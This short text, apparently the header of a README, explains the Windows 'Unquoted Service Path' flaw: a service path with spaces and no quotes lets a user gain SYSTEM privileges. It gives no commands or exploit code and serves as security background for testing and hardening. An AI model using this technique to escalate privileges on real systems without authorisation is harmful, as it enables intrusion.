About Unquoted Service Path :
==============================

When a service is created whose executable path contains spaces and isn't
enclosed within quotes, leads to a vulnerability known as Unquoted Service
Path which allows a user to gain SYSTEM privileges.
(only if the vulnerable service is running with SYSTEM privilege level
which most of the time it is).
